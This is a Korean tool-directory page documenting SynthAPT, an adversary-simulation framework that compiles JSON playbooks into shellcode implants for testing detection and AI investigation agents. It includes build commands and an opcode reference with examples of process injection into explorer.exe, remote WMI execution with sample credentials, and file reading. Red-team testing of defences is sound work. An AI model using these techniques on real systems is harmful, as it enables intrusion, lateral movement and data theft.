Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SynthAPT — JSON으로 정의된 공격 경로를 위치 독립적인 셸코드 페이로드로 컴파일하여 고급 탐지 및 AI 기반 조사 에이전트를 검증하는 플레이북 기반 적대자 시뮬레이션 프레임워크입니다. | Kitploit
도구/GitHubGitHub/acedef/synthapt
Penetration Testing FrameworksPrivilege EscalationExploit FrameworksPayload GenerationLateral MovementShellcodePost-ExploitationCommand and ControlRed TeamingAI SecurityAdversarial Attack
23147155개월 전Kitploit 검토 완료
GitHub
acedef/synthapt

SynthAPT

JSON으로 정의된 공격 경로를 위치 독립적인 셸코드 페이로드로 컴파일하여 고급 탐지 및 AI 기반 조사 에이전트를 검증하는 플레이북 기반 적대자 시뮬레이션 프레임워크입니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SynthAPT

개요

SynthAPT는 복잡한 공격 경로를 재현하기 위한 플레이북 기반의 적대 시뮬레이션 프레임워크입니다. 고급 탐지 및 AI 기반 조사 에이전트를 검증하기 위해 설계되었습니다. 핵심 아이디어는 악성코드 동작을 JSON으로 표현하고 기능성 악성코드로 컴파일하여 LLM을 사용한 현실적인 시나리오의 신속한 개발을 가능하게 하는 것입니다.

핵심 임플란트는 플레이북 인터프리터에 의해 구동되는 셸코드 페이로드입니다. 플레이북은 전체 공격 경로를 미리 정의하고 임플란트는 이를 따라 프로세스 인젝션, 횡적 이동 등을 통해 환경을 이동합니다. 각 임플란트는 고유한 명령어 세트를 가진 독립적인 스레드로 생성되므로, 다단계 공격(예: 초기 접근 → 권한 상승 → 횡적 이동 → 데이터 유출)은 협력하는 임플란트들의 그래프로 표현되며, 모두 플레이북에 사전 정의됩니다. 이는 세 가지 주요 이점이 있습니다:

  1. 페이로드는 C2 인프라 없이 실제 악성코드를 모방할 수 있습니다 - 전체 공격 경로가 페이로드에 내장되어 있으며 C2 상호작용을 모의할 수 있습니다
  2. 페이로드는 반복 가능합니다 - 매번 동일한 공격 경로를 실행하므로 탐지 회귀 테스트에 적합합니다
  3. LLM은 위협 인텔리전스 보고서와 블로그를 바로 작동하는 페이로드로 변환할 수 있으며, 공격 전문 지식이나 처음부터 악성코드를 구축할 필요가 없습니다

기능

  • 위치 독립적 셸코드 - 임플란트는 완전한 PIC이며 모든 로더나 인젝터에 통합될 수 있습니다
  • 풍부한 opcode 라이브러리 - 실행, 토큰 조작, 프로세스 인젝션, 프로세스 할로잉, 횡적 이동, AD 열거 및 수정, 레지스트리, 서비스 등
  • 자체 복제 페이로드 - 임플란트는 다른 작업 세트를 가진 EXE 또는 DLL로 자신을 드롭할 수 있어 C2 없이 다단계 전달을 가능하게 합니다
  • 유연한 출력 형식 - 플레이북을 원시 셸코드, PE EXE 또는 PE DLL로 컴파일합니다
  • 인메모리 Python - Python 인터프리터가 런타임에 리플렉티브하게 로드되어 모든 임플란트 기능을 Python 모듈로 노출하여 유연한 스크립팅을 제공합니다
  • NPC 시뮬레이션 - 'explorer' opcode를 사용하면 페이로드를 자동으로 압축 해제 및 실행하여 사용자 상호작용 아티팩트를 자동으로 재현합니다 (Explorer.exe에 인젝션될 때)
  • LLM 에이전트가 포함된 TUI 편집기 - 자연어 또는 위협 인텔리전스로부터 플레이북을 생성 및 편집할 수 있는 Claude 에이전트가 통합된 터미널 기반 플레이북 편집기
  • BOF 로더 - 기능은 표준 Beacon Object Files로 확장될 수 있습니다

소스에서 빌드

릴리스를 사용하지 않으려면 다음과 같이 컴파일할 수 있습니다:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
cargo make로 빌드:```bash
cargo make build
./target/release/synthapt

이것은 shellcode와 편집기를 컴파일합니다.

사용

명령 없이 SynthAPT를 실행하면 편집기로 이동합니다. Claude API 키를 제공하고 프롬프트를 입력하면서 변경 사항을 확인할 수 있습니다.```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

다른 LLM이나 구독을 사용하려면 `synthapt export-skill`을 실행한 후, 자신이 사용하는 코딩 환경과 함께 사용할 수 있습니다.

JSON 플레이북이 출력됩니다. 컴파일 명령어로 페이로드로 컴파일하세요:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes 참조

상수는 문자열, hex 객체 또는 base64 객체로 정의할 수 있습니다:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

---

### end (0x00)
작업 집합의 끝입니다. 컴파일러에 의해 자동으로 추가되므로 직접 추가할 필요가 없습니다.

---

### store_result (0x01)
마지막 연산 결과를 변수에 저장합니다.

| 필드 | 타입 | |
|-------|------|-|
| var | u16 | **필수** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

선택적 작업 ID 및/또는 매직 값이 패치된 현재 셸코드 바이트를 반환합니다.

필드타입
tasku8선택 사항
magicu32 16진수 문자열 또는 숫자선택 사항
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
---

### sleep (0x03)
주어진 밀리초 동안 대기합니다.

| Field | Type | |
|-------|------|-|
| ms | u32 | **필수** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

cmd.exe를 통해 명령을 실행합니다.

필드유형
commandstring필수
{ "op": "run_command", "command": "whoami /all" }
---

### get_cwd (0x05)
현재 작업 디렉토리를 가져옵니다. 인자가 없습니다.```json
{ "op": "get_cwd" }

read_file (0x06)

파일을 읽고 그 내용을 반환합니다.

FieldType
pathstring필수
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
---

### write_file (0x07)
바이트를 파일에 씁니다.

| 필드 | 타입 | |
|-------|------|-|
| 경로 | 문자열 | **필수** |
| 내용 | 바이트 | *선택 사항* (생략 시 빈 파일) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

변수의 상태 코드를 출력합니다 (0 = 성공, 0이 아닌 값 = 오류).

FieldType
varu16필수
{ "op": "check_error", "var": 0 }
---

### conditional (0x09)
변수 상태에 따라 다른 작업 인덱스로 분기합니다.

| 필드 | 타입 | |
|-------|------|-|
| mode | `"data"` 또는 `"error"` | **필수** |
| var1 | u16 | **필수** |
| var2 | u16 | *선택사항* (단일 검사 대신 두 변수 비교) |
| true | u16 | **필수** (조건이 참일 경우 작업 인덱스) |
| false | u16 | **필수** (조건이 거짓일 경우 작업 인덱스) |

`true_target` 및 `false_target`은 `true`와 `false`의 별칭으로 허용됩니다.

단일 변수 모드:
- `"data"` — var1에 비어 있지 않은 데이터가 있으면 참
- `"error"` — var1 상태가 0(성공)이면 참

두 변수 모드(var2 존재):
- `"data"` — var1 데이터가 var2 데이터와 같으면 참
- `"error"` — var1 오류 코드가 var2 오류 코드와 같으면 참```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

변수를 리터럴 값으로 설정합니다.

FieldType
varu16필수
databytes선택 사항 (생략 시 비어 있음)

리터럴 문자열과 16진수/베이스64 값은 읽을 때 일반 작업 결과처럼 보이도록 5바이트 결과 접두사와 함께 저장됩니다. 변수($n) 및 상수(%n) 참조는 그대로 전달됩니다.```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

---

### print_var (0x0B)
표준 출력(stdout)에 변수의 내용을 출력합니다(디버그). `var`를 생략하면 마지막 연산 결과를 출력합니다.

| 필드 | 타입 | |
|-------|------|-|
| var | u16 | *선택 사항* (없으면 마지막 결과 출력) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

현재 작업 세트 내에서 특정 작업 인덱스로 무조건 점프합니다.

필드타입
targetu16필수
{ "op": "goto", "target": 2 }
---

### migrate (0x0D)
검색 문자열이나 PID와 일치하는 프로세스에 셸코드를 주입합니다.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **필수** |
| search | string or number | *선택사항* (비어 있음 = 검색 안 함; 숫자 = 대상 PID) |
| magic | u32 hex string or number | *선택사항* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

실행 중인 프로세스를 나열합니다. 탭으로 구분된 줄을 반환합니다: pid\timage\tcmdline\n. 인수가 없습니다.```json { "op": "list_procs" }

---

### get_const (0x0F)
마지막 결과에 상수를 로드합니다. `index` 또는 `const_idx`를 필드 이름으로 허용합니다.

| 필드 | 타입 | |
|-------|------|-|
| index | u16 | **필수** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

WMI를 통해 명령을 실행하며, 선택적으로 원격 호스트에서 실행할 수 있습니다.

FieldType
commandstring필수
hoststring선택 사항 (비어 있으면 로컬 호스트)
userstring선택 사항 (비어 있으면 현재 사용자)
passstring선택 사항 (비어 있으면 현재 자격 증명)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
---

### http_send (0x11)
HTTP/S 요청을 보냅니다.
도구 다운로드